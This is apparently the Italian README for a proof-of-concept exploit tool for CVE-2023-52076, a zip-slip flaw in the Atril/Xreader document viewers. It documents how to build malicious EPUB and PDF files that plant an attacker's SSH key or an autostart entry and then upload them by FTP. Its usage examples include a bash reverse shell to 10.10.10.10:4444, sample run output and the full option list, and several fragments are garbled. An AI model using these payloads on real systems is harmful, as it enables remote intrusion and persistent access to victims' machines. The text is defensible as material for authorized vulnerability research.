
Exploit PoC per CVE-2023-52076 - path traversal zip-slip in Atril/Xreader (MATE/Cinnamon) che consente la scrittura arbitraria di file e RCE tramite EPUB appositamente predisposti. Solo per test di sicurezza autorizzati.
Proof-of-concept per CVE-2023-52076, una vulnerabilità critica di path traversal e scrittura arbitraria di file nei visualizzatori di documenti Atril/Xreader che interessano gli ambienti desktop MATE.
Lo script genera un payload EPUB appositamente creato con percorsi zip-slip che mirano alla configurazione SSH o alle voci desktop di autostart, consentendo l'esecuzione remota di comandi sui sistemi presi di mira.
/proc/self/cwd..epub e .pdf (entrambe attivano la vulnerabilità).Python 3.8+
ssh-keygen in PATH (SSH mode only)
Genera il payload SSH localmente:
python3 cve_2023_52076.py --mode ssh
Genera il payload RCE autostart con un comando personalizzato:
python3 cve_2023_52076.py --mode autostart --command "id > /tmp/pwned.txt"
python3 cve_2023_52076.py \
--mode ssh \
--name slippy-ssh \
--key ./keys/atril_rsa \
--output-dir ./payloads \
--upload \
--host ftp.target.local \
--ftp-dir pub
Output di esempio:
[2026-07-27T14:23:45Z] [*] Generating RSA-3072 keypair: ./keys/atril_rsa
[2026-07-27T14:23:47Z] [*] Building EPUB with 9 zip-slip entries
[2026-07-27T14:23:47Z] [*] Validating payload: ./payloads/slippy-ssh.epub
[2026-07-27T14:23:47Z] [+] Validated 9 payload entries
[2026-07-27T14:23:47Z] [*] Connecting to FTP ftp.target.local:21
[2026-07-27T14:23:48Z] [*] Uploading ./payloads/slippy-ssh.epub as slippy-ssh.epub
[2026-07-27T14:23:48Z] [+] Upload complete. Remote directory listing:
-rw-r--r-- 1 0 0 2048 Jul 27 14:23 slippy-ssh.epub
[+] Payload ready
Mode: SSH (authorized_keys)
Private key: ./keys/atril_rsa (mode 600)
Public key: ./keys/atril_rsa.pub
Fingerprint: 3072 SHA256:abcd1234... atril-poc (RSA)
EPUB: ./payloads/slippy-ssh.epub
PDF copy: ./payloads/slippy-ssh.pdf
[+] SSH login remains manual:
ssh -i ./keys/atril_rsa -o IdentitiesOnly=yes <user>@<target>
python3 cve_2023_52076.py \
--mode autostart \
--command "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1" \
--name slippy-rce \
--output-dir ./payloads \
--upload \
--host ftp.target.local \
--ftp-dir pub
Output di esempio:
[2026-07-27T14:25:10Z] [*] Building EPUB with 5 zip-slip entries
[2026-07-27T14:25:10Z] [*] Validating payload: ./payloads/slippy-rce.epub
[2026-07-27T14:25:10Z] [+] Validated 5 payload entries
[2026-07-27T14:25:10Z] [*] Connecting to FTP ftp.target.local:21
[2026-07-27T14:25:11Z] [*] Uploading ./payloads/slippy-rce.epub as slippy-rce.epub
[2026-07-27T14:25:11Z] [+] Upload complete.
[+] Payload ready
Mode: Autostart (.desktop RCE)
Command: bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
EPUB: ./payloads/slippy-rce.epub
PDF copy: ./payloads/slippy-rce.pdf
[+] Victim must logout/login for autostart to trigger
--mode {ssh,autostart}
Payload mode. Default: ssh
ssh: Inject SSH authorized_keys (no victim interaction needed after file opens).
autostart: Create .desktop RCE in autostart (triggers on next logout/login).
--command <CMD>
Payload command for --mode autostart. Required if --mode autostart.
Example: --command "id > /tmp/pwned.txt"
--name <NAME>
Local payload basename. Default: base-clean
--key <PATH>
Private key path (SSH mode only). Default: slippy_rsa
--key-bits <BITS>
RSA key size (SSH mode only). Options: 2048, 3072, 4096. Default: 3072
--output-dir <DIR>
Output directory for .epub/.pdf. Default: output
--upload
Upload the payload to FTP after generating.
--host <HOST>
FTP target host or IP. Required if --upload is set.
--port <PORT>
FTP port. Default: 21
--ftp-dir <DIR>
Remote FTP directory, e.g. pub.
--ftp-user <USER>
FTP username. Default: anonymous
--ftp-password <PWD>
FTP password. Default: anonymous@
--remote-name <NAME>
Remote EPUB filename. Default: ludwig.epub
--upload-pdf
Upload the .pdf copy instead of the .epub.
--force
Replace existing output and key files.
--timeout <SECONDS>
FTP connection timeout. Default: 10.0
--only-final
Hide progress logs and print only the final summary.
--no-color
Disable ANSI colors.
--debug
Print executed subprocess commands (ssh-keygen).
~/.ssh/authorized_keys.~/.config/autostart/..desktop esegue automaticamente il comando./proc/self/cwd viene risolto al momento dell'estrazione.--upload solo quando necessario).--upload) per evitare l'hosting diretto.Questo PoC è pensato per test di sicurezza autorizzati, ambienti di laboratorio e verifica delle vulnerabilità. Non usarlo contro sistemi senza autorizzazione esplicita.